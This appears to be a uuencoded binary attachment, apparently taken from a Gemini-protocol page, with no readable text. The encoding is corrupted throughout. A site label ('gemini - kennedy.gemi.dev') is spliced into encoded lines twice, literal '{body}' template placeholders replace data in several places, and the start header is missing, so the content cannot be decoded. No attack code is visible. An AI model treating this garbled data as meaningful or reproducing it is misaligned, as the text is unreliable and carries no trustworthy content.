MD8B&Y!*3=*(O?(3#>[%9+/3[8</P%`6T+71S3S<NZ;PH\)92WA/+D%!]%T\# MY9WZ@\&U.)O.1Q/&=<\$)+;/\Z9?TZ;K,FBI{body}lt;@5H3?%M>"4)JT1=HC^GHM5 M"O/<42<X.QCCOMAQT^*+YW61^44DZ$5P#LC/-C8V6+M2^`-;4_Y\267_24PO MCU#'<OM/:VNGD;G_;6?GB_WGLZ1/]/]<Z=TY!=U+U_9_DF%>N=$#$3[BRW+Z MH`9.EV38_^%"GE(X`MWI$SQ*9883$/'.$L_48(GI?0[?U!Y]Y+]/1F//R_70 MZ^PR^=;R75WF]IOV;LUDH."!#N2P.2PD^`4=W4*(7M(5=GH7U$:A'BA&X3KN ML@E'@0<YTD;B;Z4[;=(1]J?NP>F;DR!^X6XKZT`:YNO]/<C6N!.AHT!FU%F+ MU=B6PJM4E!/*?>PN//41S)S";T[.DZ4CO7)IH:BIVUM/=_>@=5]_G<SU=O_H M\J07Y&INI;;D<IUGE3D\D@_M'(F1S4[2HIT4&]E<M\H(FYGK"70\!)N*]IS( M9!IWRU[?XH4W/"=L=/+>09IWU\B8"5&:DX\"6+EM!=EGL@8GPB0MY`&,'?]: MGG/*IV&&Q%4-06)O+H^.CRY_9B_?G!X("TKT,N$2_IK?6>98K`.O39`^3)RM M7184?"+*E,DI)[@`1WPNV4*<W`UEIBI\-S(]#/*9[6S<5,B?.K.,2028Q#.' MV!)YC^$JSU-H!H"B`B/0PC#RZKY?-E<Y=9KC,I0,[DKL`->ISS<*\!BNX0E^ MSP+"KCSIJ-_1(>MF\KDR@C0`4>[QPH"^DO*=[BE#$2\'-`PC*YYBZ#Z03@HO M_6B<83(9B-QT*'+%&,NF"0?-@$04LTVY5=&0]=]<O@Q^YU[4%.O,W#9!>6"F M0?9?,@P+*S*%)#("4ZV8;UEXX!;JC0.D6\O$*A964)+C*"+%*D1@_::Q"@E$ MP$9,YA=S"3S^&`_1RC.T2,X"AT$?)-'!*]6A6I/(*55B7<I6UAN70^O7G2BU M;OV29LQ<:CZ8\-$-,%_<#!]8(8`"Z,I<])P7>YOP)`C*+4QO<5#2:KELG$UO M(.H8A(#7\DIQO&C$4]'$L\./SH<YV87_)L:!4)RMT.TYQNB=NS#IJ(O'LV0! M*`-G)W*)$T(C>"\/8%CW`<Y/S)'K>,[8#X.6/V5E>8:YRHZZE02C26#90GMA MH4HFM&0F#+S*T::<SD9AW9DJ:CN&BB!'SV_@S3Z,\"U_5ZRL$1'ZE>-<@U`X MF+AH`T&B8+=S"P41J!I5BJ"YX&*/"G>JR8[+''PZT?U2]NX^`'GMR(C2H6WZ M0Z!`E9@(:*.(4PQ(B0\I=40V[IS/9HDP$?$D?(>RSE'*J23/70B)03=]$*CV M"#!A.W,/R (7AZ+5F\+/S'@MZEI6:;'0>,T/`THJ>0F^,^=VW9XO(,T6;J* M&PH&I]Z"N-K,H*-F`8;A)6XK#`'%<7CS:VA/(`MFSFP^\Z1M/]A;H;"Z!-]V M[!KH<S/TH\"M17)B0--6`"\K"_#Z[?+4:YMKG+ZRG86\^CHZ)*)25:*WL.S` MLRG/V=0C+SGU`%!<=1W0`:LECLX28CLKTM5DI&NIK2X3;5&47PJ#*R]NP;]+ M^C4SV^K5?SR3&U[JDN;_A/`.M7V&0@$OI]'9#(\;PKCB?LZ]V+S%;0Q?WI6= MAF<CO5`9O(4"MXUE^.-L:'NJ8X!Y8S*O3%T/+T\,6U2AD,(4]:HA0@IGY0Z5 M3&3+]A?:CP3LS8?HI^^GNAT.71!>6%SS#FOKX!1F1H"BG5VRZ8>9*:]C+M&- MH[1Q-Z;'0]/W8(G=(\XKQ:D:$PB1"!DD$Y.=5]_[3=VM==*94WU&]4%H-,': M.J9'B,5YCN8@X'JW5^;[J\9[>?%,DK9F9A@K6"Q1T;B1),9]_PA-V>5&<!X) M5HL*-\Z/Z+\0H2'.DRU3'DP*2R2&(]68U3)7L+S-=!?@T,VP^A08A.3D$-5E M<58019Q2%L1A!6*!G3H^%SL]"YK?0;C2SJ]%9#B!ZEH2.&31&;IADBR.`XOR M?@"=L"3S2T84_5I^6SW6&,F>*@"TI11:J5$;BYP+H5Q]D=2UTQRT;YG7MN@5 MW4,^@[D3,-EBY0%H"O9"=PUO4&4#V_ ;#ZCW\*E"850&EJ"LZ.)3Z`BSLAB M1XT0*2]*OD[?ZHN+$=>\OH82!LZ6>,R$A@@O!L8FX]W`?G0MQ<24FTY2YJ6! M+;OT`/WM.O3WK^Q_MY^E^6,MCL#2'RT0RD'=E6=BD=NJ"AU>I9,9"$:N> M*$FQ3L>[N0&H(`H-6>1`KD7*`">(4H]QZBLY=^.JBL;+HO2OL!<O7K"]CP-! MTX<gemini - kennedy.gemi.dev 2NBCX`A(`0PMEJ92Z?2Q/'NW;MVH-N[()ANI2>'RW%#$,EJ3U+QK:FC M;IJ4LR4%L=%M4!\H.F5)7/\EIR=-*?'T14+B*8U6YQ?=\_V+_<NSBS4,5^<N MG^&6:J2:9Q7IK!`B?]J!V(R6ILSESN_Q"2@(M9"VE*K/4@OH41E161R>NIB8 MZ^C,+#T11FBZK;D?[J*K+G86Y=-&&RQ(V]G%):VDE:>Z&Z0'TU=A=<ZUU5R* M54V*<N2@D'\=>JN0"PX(-]>$=91P,GN)EEEV3FO?.$"YE*>K4?!((V[9MW9` M323ET.-AAFH@20/%'\4MNA;&H<7$,]LF.SH?S7%1F%*B40&%3YPLQ&*EN259 MPQG'X<E20T[."ER_03'^VEF@Y*\&2N_8=,7M/_[$\;(UQ>$E7:`LO*LAIO?3 M*D;>I2)$?#7E-+"5TUGI9`G31_J"G&5\8G`?W2!M'HGZU8=$5BX7TA,-S@^? MH/,U*IFI##4VW3M;V%&P!A)1PAR@>"N$5MHNH&KLD[Q[WA38<\0N@C?#H"PK M\1;ME>"L^4+)INEP#ILORC$M6V'6>[A>GIUYTY52\\)Z>W]7W]%!5?\S5O4_ M8U7W_@Z_\X(#WE[]\[W8H=/%!)>%'ULX0,[;/`/'TN%!$1EL'-G&@-QA/N+T M6<[=<VLMFH-MK<1^I')%&8F1F$J(\D8X5<N+^%A#+IL#RQ0W,79/&A[>;29L MY=`#T[[5+=0L\:J_8%%:-C6NT0TQI"4(RRJ&]4D95$.`=',,T8=7J3+'A1:4 M0,0'UAZLBI$R[%A&0M23MIN&9SC<P^6)M+^RU\<])J:HQ)X4C>N#9(58&<;+ M"VF16*TI+A/*,H4PY62*=N)TN_9=-,8=*M7-+)T_1@\Q92-DABME`(Y_GZBJ MES=<)G97E<O;=,''LCWNQX@=G;3%.BI!/[COLX[I"]D]L?N[6B*'R]1P`%*H MB%N"LMP=KE<3;]9>QP@*2ZXY<+WR34?^W-%;QBHR#2PXXH+;[$"MW9KDR(D2 M"71FK#?)D3R.AB\H@(:KP6#D^BAZ2O+L5G"NA!;!"6THH2:Y#H:;+S%<N)#H MJM+J(Z[>F7[B!D:JQ%N74N+;_ZL)9:K[HTG[@E]W[_!&M7K_;G>O#V/4!ZR+ M3_RW`__&8WBVHT'JW^G;]2S19&DN@>5EQH_U-M%Q:1P?<AKLJB20BHH"4?Y` M*<WCNCN:E*FSE0K,YBN%9+"XSZ.^![0EM9H-(%-4\90M0]YULPY5!]O4L>M- M'U)0.'\$L;(2-S2G@2073,J%[W%W_T?6^[EWV3UA;WK="W16SEOW'N/43U-V M>+\K.N#3S@Q:U'T\3R*8B,:+>^%>"&V(FW8<6FQ;57JJ14$"I3'*H?,U:(>B MBQ[D20'<R#+M-'?.Q;XZ.AO'3TL%.7)VUF738M</IB_474<YD[UMY\2X6TMW M2]@34]09OSDP43!`L^`5^E6N1_&@RU?_Z/??;U;"<-#UK"(2@``);\\M:P5W M)3?[H5Y9_*KY/L-ICS(?+Q^WE:ISPC-{body}lt;(Y&MT%GF3`PY*?H8ET>>GETT7UY M]@Y/B>&M3VP9(_5(J(4[FM)91FY/)UQ#F)QIA-?0"JS$_2#^1!0=+Z<DZ'/= MGW2"8.57_3K0=/GJJ@U(L/WV^_=/*H]$UJF@[+\/:<<;L=;*,,^)<EV3(<%( M>E:F+8>AS5`Q'87Q\(155-ZW3:M$%4$7TU"D@PF=9$R1B\+\F&]\#-R^DA** M;)`?9[-<UE>,GQE>[=$OHL==^!.;6\QT,VY;#;*F!B)E#UU6?\_B?$8;<33U MDLX$ZIW:SJHPH^:J%>L(QY284?M5E14L%?#B:HD*ZLC^,3LX._OQJ-NKLO/] M7N_MV<5A#U8E/W9_SC7,'SB6A6;X2#\1I[L]U,O1,VON!A$:EG"A*#-`&)\H M13]J3@]WQ:9\BDO[K/B*!HVR9#S]HG=/.F+[(VWK>$-=%&@*;[&EM9'P`I=[ MK!E'J1!RX(WZ(F!5*K9*-4]1L6@%8H<:@/470Q>)6"7`4:(]&:X*$#W<;;43 M9P:D!$L\4T4MA8(:I]=E0%3.IEZ'LH6NA'F-@']>.WZ&)`J;&CY2M0'+:70% M9DP!D2Z?.;GEC9C9L0W:LBH`;#AH\$S5:_Y+4`?6I\XPI;,T(LIKXGB-AL?E M<QKVX+BRGQ13-A4"]D%<E-W*O)#^,*3OE$"DBX7*A[CHK)08?HJ5SV("$H+T M-^7.9$IO6JH:H-N--9!7K9#M.(QBL]I4\(=4$:A'3/:(A'78H]]%25BW5.)^ MGA4E/Y=V0;8N:7/"84';=5@$48LZ`)O;ODEWK"/[(KO"4CNX<27C(:)3X"2* MC&+&0Y'`&CN]AX?I#ZS?0&<.Y]-9BB/3SFH/T8*2&D)*GPF^*Q0+^P&[<X^U MD69P#)$=W[Q:M;.%"L>R98TXMJC-=.`?D+^O#H[&4O&"7AY-<>O6]LN-RIJ2 M;>QR_A%N$9*8L!'+G"#H9*LB8F':42+3Y\3FQW(@H2S-`/DH5$6X2@6XC`XK MYH?@C[GA9=]&;5XOVCZF4.M3GE#(B;JOKCI1O50![>@<!=I$3)^3QWF:TX.4 MO*5!$YX"%,)1M?^T2@&-YB-!"*I:Y1BKG'=R%0JE"T,>Z+`U%^%^/RX+\(Q) M4>$PG%MI)#Q1N`3^*"AN\KN5DD?+AE^]<_VIX_]2!\ENA!:#(-X3U:,Q-&TS M:AM4@AF_>QRZ6-&H5P?)AK#O&W>J.3XJFMRB2YPZRA\PQ>;@2AH1NY"S["[D MZC8FJGI`$Y.[4BM;&&ZNK6Y1'/+*!B4(,;+_/C(!!H`_"YV=D('1"(\HA69U MH?.E;.UJS2^#FJ3]\)'1(^^0S+7L?3:4+6N(0-^2WB6,4OEH#52$)0NOU<+X M)6@W*(OE+3!`ZJ0M>/DR.:,EYF54*4ZK&W2BNS<T.=!<KFI&/(ZR"-&\&NJA M8V<((#F8([+E\W;7=1WW888B:(:(8;%4^H@;L,A1I8<A3"_QPHIR15%F78J, M^W2)OW_DZ,ZKDRK^S]W4\IS1#?>-^J/4@3&>=_+C/]./5/R?[>;N5VSG46I? MD?[+X_^L&/_HJS:[_]@Z5L3_WMIM[23'?VNKL;/S)?[3YTC??D/Q68>F7>?V M+9O=^Q/'+I1*I<3(LQKKF1BZ.`P9ZKCRED6<-X([%L49L'W#&0:^<>].CID` MHP',0F$PT.=0@SL8X!40D_G-G#W'O]]?NQ.0SQ@OZ05D*\A0/=Z]%WSU)[C> MP8-9\D&/P/9$X.Q"X36&8P68#?+,;Y0*YV<7EQ2.9KM5@!_'1P<_P\\^2>W2 M\^^@?X''?J?8U!K%[UZ48.(/WM,AO9J(4%>;.;#FOD^\U]'1O29\4&K4;9&W M4]PL@FI4PR9ZG>)?C"*K0\&_,&I.5+ZNJJ#?P+Z+*$2`.=%#:49_+:^1C'>; M8B(EWU?:8EXV^%A$:R][W!K#TV#:HAUR5KK:?,_0I@BSI"U,#V+P_N)A8]$P MB>4T$=,B4,@K$6QQB6gemini - kennedy.gemi.dev /(1.5CEVZ<YY.S%MRHT#@BD-C7@KY6UYK_FWK?0) M4?+WI6@NV;T9((*;S"$OBA",)DGRB/!FENF72WV[5,D"H)P=^M`P$LD,,KI] MNW_;]P'[%94BC6?-REB@@D?1LB!EKM)S,8HUU"-KLI,X]GA;!Y16%\24P(K' M;:,LR%7ME8['/?-AR>'%@UAB*+'J:-C&IFUZDR4T<6`Y'K+T0^DB3;67!^>" M1I,{body}gt;QEP\8EY=V176?)E4$8V#95J@(SM1BXI@W9Z*U_Y[GW4?"F3.JK:RR@7 MJL1]E6H>4U52H#3Z&`!EX?$9:5CC(@3TC_Q^Z,!T>83QA]WYS$^W0_,F<Q]/ M<\IR<F.G`4)MS`9BAWR`:[#28(#=&@Q*`@0(.XW?X3%_["S^H@Y_"7CY)7U) 17]*7]"4]?OK_3&K!K@#(```` ` end